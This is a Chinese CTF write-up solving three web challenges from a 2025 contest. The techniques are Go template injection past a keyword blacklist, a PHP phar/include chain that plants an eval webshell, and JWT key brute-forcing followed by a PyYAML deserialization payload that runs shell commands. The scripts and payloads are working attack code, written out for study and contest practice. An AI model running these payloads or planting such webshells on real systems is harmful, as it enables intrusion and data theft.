2025湾区杯web全解

web题有点难评

WEB

题目质量一般。

ssti

模板注入

————————

go语言的ssti,参考如下的文章直接打就行:

https://xz.aliyun.com/news/15003

可以进行命令执行:

image-20250908175036225

可以读到根目录:

1
2
app  boot  etc	 go    lib    media  opt   root  sbin  sys  usr
bin  dev   flag  home  lib64  mnt    proc  run	 srv   tmp  var

有flag,但是后面尝试很多payload都没有成功起作用,合理猜测后端是加了waf的,那么就先读取main.go运行文件:

1
{{ exec "nl main.go" }}

拿到如下代码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
package main

import (
	"bytes"
	"encoding/base64"
	"fmt"
	"log"
	"net/http"
	"os/exec"
	"regexp"
	"runtime"
	"strings"
	"text/template"
)

func execCommand(command string) string {
	var cmd *exec.Cmd
	if runtime.GOOS == "windows" {
		cmd = exec.Command("cmd", "/c", command)
	} else {
		cmd = exec.Command("bash", "-c", command)
	}

	var out bytes.Buffer
	var stderr bytes.Buffer
	cmd.Stdout = &out
	cmd.Stderr = &stderr

	err := cmd.Run()
	if err != nil {
		if stderr.Len() > 0 {
			return fmt.Sprintf("命令执行错误: %s", stderr.String())
		}
		return fmt.Sprintf("执行失败: %v", err)
	}
	return out.String()
}

func b64Decode(encoded string) string {
	decodedBytes, err := base64.StdEncoding.DecodeString(encoded)
	if err != nil {
		return "error"
	}
	return string(decodedBytes)
}

func aWAF(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		if r.URL.Path != "/api" {
			next.ServeHTTP(w, r)
			return
		}

		query := r.URL.Query().Get("template")
		if query == "" {
			next.ServeHTTP(w, r)
			return
		}

		blacklist := []string{
			"ls", "whoami", "cat", "uname", "nc", "flag", "etc", "passwd",
			"\\*", "pwd", "rm", "cp", "mv", "chmod", "chown", "wget", "curl",
			"bash", "sh", "python", "perl", "ruby", "system", "eval", "less",
			"more", "find", "grep", "awk", "sed", "tar", "zip", "unzip",
			"gzip", "gunzip", "bzip2", "bunzip2", "xz", "unxz", "docker",
			"kubectl", "git", "svn", "f", "l", "g", ",", "\\?", "&&", "\\|",
			";", "`", "\"", ">", "<", ":", "=", "\\(", "\\)", "%", "\\\\",
			"\\^", "\\$", "!", "@", "#", "&",
		}

		escaped := make([]string, len(blacklist))
		for i, item := range blacklist {
			escaped[i] = "\\b" + item + "\\b"
		}
		wafRegex := regexp.MustCompile(fmt.Sprintf("(?i)%s", strings.Join(escaped, "|")))

		if wafRegex.MatchString(query) {
			http.Error(w, query, 200)
			return
		}

		next.ServeHTTP(w, r)
	})
}

func apiHandler(w http.ResponseWriter, r *http.Request) {
	query := r.URL.Query().Get("template")
	if query == "" {
		http.Error(w, "需要template参数", http.StatusBadRequest)
		return
	}

	funcMap := template.FuncMap{
		"exec":      execCommand,
		"B64Decode": b64Decode,
	}

	tmpl, err := template.New("api").Funcs(funcMap).Parse(query)
	if err != nil {
		http.Error(w, query, http.StatusAccepted)
		return
	}

	var buf bytes.Buffer
	if err := tmpl.Execute(&buf, funcMap); err != nil {
		http.Error(w, query, http.StatusAccepted)
		return
	}

	w.Write(buf.Bytes())
}

func rootHandler(w http.ResponseWriter, r *http.Request) {
	if r.URL.Path != "/" {
		http.NotFound(w, r)
		return
	}

	http.ServeFile(w, r, "index.html")
}

func main() {
	mux := http.NewServeMux()
	mux.HandleFunc("/", rootHandler)
	mux.HandleFunc("/api", apiHandler)

	log.Println("服务器启动在 :80")
	log.Fatal(http.ListenAndServe(":80", aWAF(mux)))
}

拿到黑名单,所以直接如下读取即可:

1
{{ exec "nl /??a?" }}

即可拿到flag:

image-20250908181521610

flag如下:

1
flag{5cAfgGx3Nd4KPr5aXkYTjeu704U9WDAu}

easy_readfile

强强强

——————————

php反序列化的题:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
 <?php
highlight_file(__FILE__);

function waf($data){
    if (is_array($data)){
        die("Cannot transfer arrays");
    }
    if (preg_match('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i', $data)) {
        die("You can't do");
    }
}

class Coral{
    public $pivot;

    public function __set($k, $value) {
        $k = $this->pivot->ctor;
        echo new $k($value);
    }
}

class Nimbus{
    public $handle;
    public $ctor;

    public function __destruct() {
        return $this->handle();
    }
    public function __call($name, $arg){
        $arg[1] = $this->handle->$name;
    }
}

class Zephyr{
    public $target;
    public $payload;
    public function __get($prop)
    {
        $this->target->$prop = $this->payload;
    }
}

class Acheron {
    public $mode;

    public function __destruct(){
        $data = $_POST[0];
        if ($this->mode == 'w') {
            waf($data);
            $filename = "/tmp/".md5(rand()).".phar";
            file_put_contents($filename, $data);
            echo $filename;
        } else if ($this->mode == 'r') {
            waf($data);
            $f = include($data);
            if($f){
                echo "It is file";
            }
            else{
                echo "You can look at the others";
            }
        }
    }
}

if(strlen($_POST[1]) < 52) {
    $a = unserialize($_POST[1]);
}
else{
    echo "str too long";
}

?> 

一看waf禁了很多,再看可以写文件并且强制文件后缀为phar,再看有一个include()文件包含,基本就可以敲定考点是最近发的include的trick,就是如果要包含的文件的文件名包含.phar,那么会自动对这个文件解压一次在进行常规的文件包含操作,操作过程和分析文章网上都有,这里就不多说了。

所以这里的思路就是生成一个phar文件然后压缩,再在对Acheron类反序列化时设置模式为w来写入文件,然后再设置模式为r来包含写上去的文件。

最开始没注意到这里echo了文件名,还找了一下链子用原生类来列文件名,链子如下:

1
2
3
4
5
6
7
8
$a = new Nimbus();
$a->handle=new Zephyr();
$a->handle->target=new Coral();
$a->handle->payload="/tmp/*";
$a->handle->target->pivot=new Nimbus();
$a->handle->target->pivot->ctor="GlobIterator";

unserialize(serialize($a));

后面在搓脚本发现回显了写入的文件名,遂直接放弃了这个想法(但是这样其实上面设置的一些类都没用到),那么就是直接打了,过程如下:

生成phar文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
$phar = new Phar('f.phar');
$phar->startBuffering();
$phar->setStub(
    "
<?php
system('echo \'<?php eval(\$_POST[123]);?>\' > 1.php');
__HALT_COMPILER(); ?>
"
);
$phar->addFromString('f', '1');
$phar->stopBuffering();
?>

然后将生成的f.phar文件压缩再进行后续利用,最开始我是直接命令执行的,但是发现需要提权:

image-20250908125753617

故直接写马方便些,然后压缩:

1
gzip -c f.phar > f.phar.gz

然后用一个脚本来上传数据方便写入文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

# PHP 接口 URL
url = "http://web-1b469e626a.challenge.xctf.org.cn/"

# 本地要读取的文件
local_file_path = "f.phar.gz"

# 读取本地文件内容
with open(local_file_path, "rb") as f:
    file_data = f.read()

print(file_data)
# POST 数据,PHP 接收 $_POST[0]
post_data = {0: file_data,1:'O:7:"Acheron":1:{s:4:"mode";s:1:"w";}'}

# 发送 POST 请求
response = requests.post(url, data=post_data)

# 输出 PHP 返回的文件路径
print("PHP 写入的文件路径:", response.text)

然后拿到文件名去再去文件包含触发:

image-20250908191547042

现在就去访问1.php进行命令执行即可,这里直接连蚁剑,根目录情况如下:

image-20250908191834477

flag需要root权限,然后读一下run.sh文件:

image-20250908191928066

今年年初打的n1junior的backup题,考点是cp通配符提权,就是cp命令的-L选项会保留软链接(always follow symbolic links in SOURCE),而且/var/www/html下也有backup目录,所以直接如下打即可:

image-20250908192328194

即可拿到flag:

1
flag{EP1cyS4CHOVJekHsnCZ7m7HeZpEMLFAu}

————————————

ez_python

冲冲冲

————————————

开局可以尝试往后端提交代码并制定模式;

image-20250908214158516

也就是这里的taml以及python,但是似乎都是只能以admin用户才能使用。

查看前端代码,有一些非常重要的信息:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<script>
        let token = "";
        fetch("/auth")
            .then(res => res.json())
            .then(data => {
                token = data.token;
                const payload = JSON.parse(atob(token.split('.')[1]));
                document.getElementById("user-info").innerHTML =
                    "<span style='color:#444'>👤 " + payload.username + "</span> | " +
                    "<span style='color:#4CAF50'>Role: " + payload.role + "</span>";
            });

        function runCode() {
            const fileInput = document.getElementById('codefile');
            const mode = document.getElementById("mode").value;

            if (fileInput.files.length === 0) {
                document.getElementById("result").textContent = '{"error": "Please select a file to upload."}';
                return;
            }
            const file = fileInput.files[0];

            const formData = new FormData();
            formData.append('codefile', file);
            formData.append('mode', mode);

            fetch("/sandbox", {
                method: "POST",
                headers: {
                    "Authorization": "Bearer " + token
                },
                body: formData
            })
            .then(res => res.json())
            .then(data => {
                document.getElementById("result").textContent = JSON.stringify(data, null, 2);
            });
        }
    </script>

第一个就是在页面初始阶段就会fetch一下auth来获取token,然后在后续的调用中都会带上Authorization来进行身份识别,基本就可以猜测是需要知道伪造jwt了,那么随便上传一个文件来从请求包获取到token:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E

解码可以得到如下信息:

image-20250908215645948

对称密钥,然后将payload中的参数修改为admin,那么直接使用jwt伪造的方法,先是尝试过直接爆破弱密钥,没成功,那么可以尝试打一下将算法修改为none:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import jwt

header = {
    "alg": "none",
    "typ": "JWT"
}
content = {
  "username": "admin",
  "role": "admin"
}

token = jwt.encode(
    content,
    "", # 密钥,此处置为空
    algorithm="none", # 加密方式
    headers=header
)

print(token)

将生成的token拿去传参,回显如下:

1
{"error":"JWT Decode Failed. Key Hint","hint":"Key starts with \"@o70xO$0%#qR9#**\". The 2 missing chars are alphanumeric (letters and numbers)."}

jwt解码失败,给了一个hint,也就是部分密钥以及说明了后两位是字母和数字,那么用一个python脚本来进行爆破:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
import itertools
import string
import jwt

# === 固定配置 ===
TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"
PREFIX = "@o70xO$0%#qR9#"
ALG = "HS256"
CHARSET = string.ascii_letters + string.digits  # a-zA-Z0-9

def brute_force():
    for c1, c2 in itertools.product(CHARSET, repeat=2):
        key = PREFIX + c1 + c2
        try:
            payload = jwt.decode(TOKEN, key, algorithms=[ALG])
            print("[+] 找到密钥:", key)
            print("[+] payload:", payload)
            return
        except jwt.InvalidTokenError:
            continue
    print("[-] 没有找到匹配的密钥")

if __name__ == "__main__":
    brute_force()

然后就成功爆破出密钥:

1
2
[+] 找到密钥: @o70xO$0%#qR9#m0
[+] payload: {'username': 'guest', 'role': 'user'}

再使用生成对应的token即可:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70

随后就可以进行利用了: image-20250908220815967

现在再看可以在哪里进行利用,yaml,很容易想到pyyaml反序列化漏洞,在网上找一个payload然后改成有回显的即可:

1
2
3
4
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__('os').popen('cat /f1111ag').read()"]

即可拿到flag:

image-20250908222606295

flag如下:

1
flag{D5qHNyothAJjypNotQhKybuOaMwkkwjb}

所以这里的考点就是一个jwt伪造+pyyaml反序列化,还没有任何限制。

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计